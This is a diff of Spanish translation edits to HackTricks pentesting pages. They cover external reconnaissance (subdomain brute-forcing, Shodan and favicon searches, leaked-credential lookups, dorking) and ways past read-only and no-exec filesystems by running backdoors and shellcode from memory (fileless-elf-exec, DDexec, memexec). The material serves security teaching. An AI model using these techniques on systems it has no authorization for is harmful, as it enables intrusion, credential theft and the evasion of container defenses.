+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -77,7 +77,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
 
 En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
 Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
-**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+**También, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
 
 ## Dominios
 
@@ -107,9 +107,9 @@ Puedes usar herramientas en línea como:
 * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
 * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
 * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
-* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
+* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, API no gratuita.
 * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
-* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas)
+* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 búsquedas gratuitas**)
 * [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
 
 Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
@@ -137,11 +137,11 @@ Hay algunas páginas y herramientas que te permiten buscar por estos trackers y
 cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
 python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 ```
-![favihash - descubrir dominios con el mismo hash de icono favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
+![favihash - descubre dominios con el mismo hash de icono favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
 
 Dicho de manera simple, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono favicon que nuestro objetivo.
 
-Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**:
+Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**:
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
@@ -169,7 +169,7 @@ Es común tener un trabajo cron como
 # /etc/crontab
 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
 ```
-para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\
+para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece el tiempo en que fue generado en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\
 Consulta este [**artículo para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
 
 ### Información de Mail DMARC
@@ -178,7 +178,7 @@ Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc
 
 ### **Toma Pasiva**
 
-Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando el control de algunos subdominios**.
+Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
 
 [**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
 
@@ -188,7 +188,7 @@ Aparentemente es común que las personas asignen subdominios a IPs que pertenece
 
 **Shodan**
 
-Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar por esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS.
+Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS.
 
 Podrías acceder al **certificado TLS** de la página web principal, obtener el **nombre de la organización** y luego buscar ese nombre dentro de los **certificados TLS** de todas las páginas web conocidas por **shodan** con el filtro: `ssl:"Tesla Motors"` o usar una herramienta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
 
@@ -200,8 +200,8 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
 
 Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
 
-Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
-_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, por lo que no está en el alcance, ten cuidado._
+Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén corriendo, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
+_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
 
 <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
 **Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
@@ -312,7 +312,7 @@ crt tesla.com
 # Get subdomains from GAUs found URLs
 gau --subs tesla.com | cut -d "/" -f 3 | sort -u
 ```
-* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **y** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
+* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
 ```bash
 # Get only subdomains from SubDomainizer
 python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
 ```
 gobuster dns -d mysite.com -t 50 -w subdomains.txt
 ```
-* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando un ataque de fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
+* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
 ```
 shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
 ```
@@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
 puredns resolve adobe.brute --write adobe.valid
 ```
-* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta de subdominios acoplado con un algoritmo guiado por respuestas DNS inmensamente simple pero efectivo. Utiliza un conjunto de datos de entrada proporcionado, como una lista de palabras personalizada o registros DNS/TLS históricos, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
+* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta para subdominios acoplado con un algoritmo guiado por respuestas DNS que es inmensamente simple pero efectivo. Utiliza un conjunto de datos de entrada proporcionado, como una lista de palabras personalizada o registros DNS/TLS históricos, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
 ```
 echo www | subzuf facebook.com
 ```
@@ -434,7 +434,7 @@ Consulta esta publicación de blog que escribí sobre cómo **automatizar el des
 
 ### **VHosts / Hosts Virtuales**
 
-Si encontraste una dirección IP que contiene **una o varias páginas web** pertenecientes a subdominios, podrías intentar **encontrar otros subdominios con webs en esa IP** buscando en **fuentes OSINT** para dominios en una IP o **forzando nombres de dominio VHost en esa IP**.
+Si encontraste una dirección IP que contiene **una o varias páginas web** pertenecientes a subdominios, podrías intentar **encontrar otros subdominios con webs en esa IP** buscando en **fuentes OSINT** dominios en una IP o **forzando nombres de dominio VHost en esa IP**.
 
 #### OSINT
 
@@ -481,12 +481,12 @@ Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/dom
 Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
 
 Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén corriendo, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
-_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
+_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
 
 ## IPs
 
 En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
-Es hora de **recolectar todas las IPs de esos rangos** y de los **dominios/subdominios (consultas DNS).**
+Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).**
 
 Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 
@@ -502,9 +502,9 @@ También puedes verificar dominios que apuntan a una dirección IP específica u
 
 ## Caza de servidores web
 
-> Hemos encontrado todas las empresas y sus activos y conocemos los rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
+> Hemos encontrado todas las empresas y sus activos y conocemos rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
 
-En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que es posible que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
+En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que es posible que **ya hayas encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
 
 Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
 
@@ -532,7 +532,7 @@ También necesitarás listas de palabras de **palabras comunes utilizadas en buc
 * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
 * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
 
-Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](./#second-dns-bruteforce-round) para más información).
+Luego, con esas palabras deberías generar **permutaciones** (consulta la [**Segunda Ronda de Fuerza Bruta DNS**](./#second-dns-bruteforce-round) para más información).
 
 Con las listas de palabras resultantes podrías usar herramientas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
 
@@ -557,7 +557,7 @@ Los correos electrónicos serán útiles más adelante para **fuerza bruta en in
 
 ## Filtraciones de Credenciales
 
-Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado que pertenezcan a esos correos electrónicos:
+Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado pertenecientes a esos correos electrónicos:
 
 * [https://leak-lookup.com](https://leak-lookup.com/account/login)
 * [https://www.dehashed.com/](https://www.dehashed.com/)
@@ -568,14 +568,14 @@ Si encuentras credenciales **filtradas válidas**, esta es una victoria muy fác
 
 ## Filtraciones de Secretos
 
-Las filtraciones de credenciales están relacionadas con hacks de empresas donde **información sensible fue filtrada y vendida**. Sin embargo, las empresas podrían verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos:
+Las filtraciones de credenciales están relacionadas con hacks de empresas donde **se filtró y vendió información sensible**. Sin embargo, las empresas pueden verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos:
 
 ### Filtraciones de Github
 
-Las credenciales y APIs podrían estar filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\
+Las credenciales y APIs pueden estar filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\
 Puedes usar la **herramienta** [**Leakos**](https://github.com/carlospolop/Leakos) para **descargar** todos los **repos públicos** de una **organización** y de sus **desarrolladores** y ejecutar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre ellos automáticamente.
 
-**Leakos** también puede ser utilizado para ejecutar **gitleaks** contra todo el **texto** proporcionado **URLs pasadas** a él, ya que a veces **las páginas web también contienen secretos**.
+**Leakos** también se puede usar para ejecutar **gitleaks** contra todo el **texto** proporcionado **URLs pasadas** a él, ya que a veces **las páginas web también contienen secretos**.
 
 #### Dorks de Github
 
@@ -587,12 +587,12 @@ Consulta también esta **página** para posibles **dorks de github** que podría
 
 ### Filtraciones de Pastas
 
-A veces, atacantes o simplemente trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto podría o no contener **información sensible**, pero es muy interesante buscarlo.\
+A veces, los atacantes o simplemente los trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto puede o no contener **información sensible**, pero es muy interesante buscarlo.\
 Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) para buscar en más de 80 sitios de paste al mismo tiempo.
 
 ### Dorks de Google
 
-Los dorks de google, aunque viejos, siempre son útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**base de datos de hacking de google**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**.
+Los dorks de google, aunque viejos, son siempre útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**base de datos de hacking de google**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**.
 
 _Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos usando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy pronto._
 
@@ -627,18 +627,18 @@ También quiero hacer una mención especial a la sección [**Herramientas de esc
 Así que ya has:
 
 1. Encontrado todas las **empresas** dentro del alcance
-2. Encontrado todos los **activos** que pertenecen a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
-3. Encontrado todos los **dominios** que pertenecen a las empresas
+2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
+3. Encontrado todos los **dominios** pertenecientes a las empresas
 4. Encontrado todos los **subdominios** de los dominios (¿alguna toma de subdominio?)
 5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
-6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena un examen más profundo?)
-7. Encontrado todos los **activos potenciales de nube pública** que pertenecen a la empresa.
+6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena investigar más a fondo?)
+7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa.
 8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
 9. **Pentesting todas las webs que encontraste**
 
 ## **Herramientas Automáticas de Reconocimiento Completo**
 
-Hay varias herramientas disponibles que realizarán parte de las acciones propuestas contra un alcance dado.
+Hay varias herramientas que realizarán parte de las acciones propuestas contra un alcance dado.
 
 * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
 * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@@ -649,15 +649,15 @@ Hay varias herramientas disponibles que realizarán parte de las acciones propue
 
 * Todos los cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**La Metodología del Cazador de Bugs v4.0 - Edición Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

generic-methodologies-and-resources/pentesting-methodology.md

@@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt=""
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -69,7 +69,7 @@ También hay varias herramientas que pueden realizar **evaluaciones automáticas
 
 #### **5.2 Fuerza Bruta en servicios**
 
-En algunos escenarios, una **Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios para fuerza bruta**](brute-force.md)**.**
+En algunos escenarios, una **Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios de fuerza bruta**](brute-force.md)**.**
 
 ### 6- [Phishing](phishing-methodology/)
 
@@ -151,7 +151,7 @@ Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría
 * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

@@ -1,8 +1,8 @@
 # Bypass FS protections: read-only / no-exec / Distroless
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -30,7 +30,7 @@ In the following videos you can find the techniques mentioned in this page expla
 
 ## read-only / no-exec scenario
 
-It's more and more common to find linux machines mounted with **read-only (ro) file system protection**, specially in containers. This is because to run a container with ro file system is as easy as setting **`readOnlyRootFilesystem: true`** in the `securitycontext`:
+Es cada vez más común encontrar máquinas linux montadas con **protección de sistema de archivos de solo lectura (ro)**, especialmente en contenedores. Esto se debe a que ejecutar un contenedor con un sistema de archivos ro es tan fácil como establecer **`readOnlyRootFilesystem: true`** en el `securitycontext`:
 
 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
 kind: Pod
@@ -45,42 +45,42 @@ securityContext:
 </strong>    command: ["sh", "-c", "while true; do sleep 1000; done"]
 </code></pre>
 
-However, even if the file system is mounted as ro, **`/dev/shm`** will still be writable, so it's fake we cannot write anything in the disk. However, this folder will be **mounted with no-exec protection**, so if you download a binary here you **won't be able to execute it**.
+Sin embargo, incluso si el sistema de archivos está montado como ro, **`/dev/shm`** seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará **montada con protección no ejecutable**, por lo que si descargas un binario aquí **no podrás ejecutarlo**.
 
 {% hint style="warning" %}
-From a red team perspective, this makes **complicated to download and execute** binaries that aren't in the system already (like backdoors o enumerators like `kubectl`).
+Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no están en el sistema ya (como puertas traseras o enumeradores como `kubectl`).
 {% endhint %}
 
 ## Easiest bypass: Scripts
 
-Note that I mentioned binaries, you can **execute any script** as long as the interpreter is inside the machine, like a **shell script** if `sh` is present or a **python** **script** if `python` is installed.
+Ten en cuenta que mencioné binarios, puedes **ejecutar cualquier script** siempre que el intérprete esté dentro de la máquina, como un **script de shell** si `sh` está presente o un **script de python** si `python` está instalado.
 
-However, this isn't just enough to execute your binary backdoor or other binary tools you might need to run.
+Sin embargo, esto no es suficiente para ejecutar tu puerta trasera binaria u otras herramientas binarias que puedas necesitar ejecutar.
 
 ## Memory Bypasses
 
-If you want to execute a binary but the file system isn't allowing that, the best way to do so is by **executing it from memory**, as the **protections doesn't apply in there**.
+Si deseas ejecutar un binario pero el sistema de archivos no lo permite, la mejor manera de hacerlo es **ejecutándolo desde la memoria**, ya que **las protecciones no se aplican allí**.
 
 ### FD + exec syscall bypass
 
-If you have some powerful script engines inside the machine, such as **Python**, **Perl**, or **Ruby** you could download the binary to execute from memory, store it in a memory file descriptor (`create_memfd` syscall), which isn't going to be protected by those protections and then call a **`exec` syscall** indicating the **fd as the file to execute**.
+Si tienes algunos motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no estará protegido por esas protecciones y luego llamar a una **`exec` syscall** indicando el **fd como el archivo a ejecutar**.
 
-For this you can easily use the project [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). You can pass it a binary and it will generate a script in the indicated language with the **binary compressed and b64 encoded** with the instructions to **decode and decompress it** in a **fd** created calling `create_memfd` syscall and a call to the **exec** syscall to run it.
+Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificar y descomprimirlo** en un **fd** creado llamando a `create_memfd` syscall y una llamada a la **exec** syscall para ejecutarlo.
 
 {% hint style="warning" %}
-This doesn't work in other scripting languages like PHP or Node because they don't have any d**efault way to call raw syscalls** from a script, so it's not possible to call `create_memfd` to create the **memory fd** to store the binary.
+Esto no funciona en otros lenguajes de scripting como PHP o Node porque no tienen ninguna **manera predeterminada de llamar a syscalls en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario.
 
-Moreover, creating a **regular fd** with a file in `/dev/shm` won't work, as you won't be allowed to run it because the **no-exec protection** will apply.
+Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo porque se aplicará la **protección no ejecutable**.
 {% endhint %}
 
 ### DDexec / EverythingExec
 
-[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is a technique that allows you to **modify the memory your own process** by overwriting its **`/proc/self/mem`**.
+[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) es una técnica que te permite **modificar la memoria de tu propio proceso** sobrescribiendo su **`/proc/self/mem`**.
 
-Therefore, **controlling the assembly code** that is being executed by the process, you can write a **shellcode** and "mutate" the process to **execute any arbitrary code**.
+Por lo tanto, **controlando el código ensamblador** que se está ejecutando en el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**.
 
 {% hint style="success" %}
-**DDexec / EverythingExec** will allow you to load and **execute** your own **shellcode** or **any binary** from **memory**.
+**DDexec / EverythingExec** te permitirá cargar y **ejecutar** tu propio **shellcode** o **cualquier binario** desde **memoria**.
 {% endhint %}
 ```bash
 # Basic example
@@ -96,7 +96,7 @@ Para más información sobre esta técnica, consulta el Github o:
 
 [**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **DDexec shellcode demonizado**, por lo que cada vez que quieras **ejecutar un binario diferente** no necesitas relanzar DDexec, solo puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
 
-Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un shell reverso PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
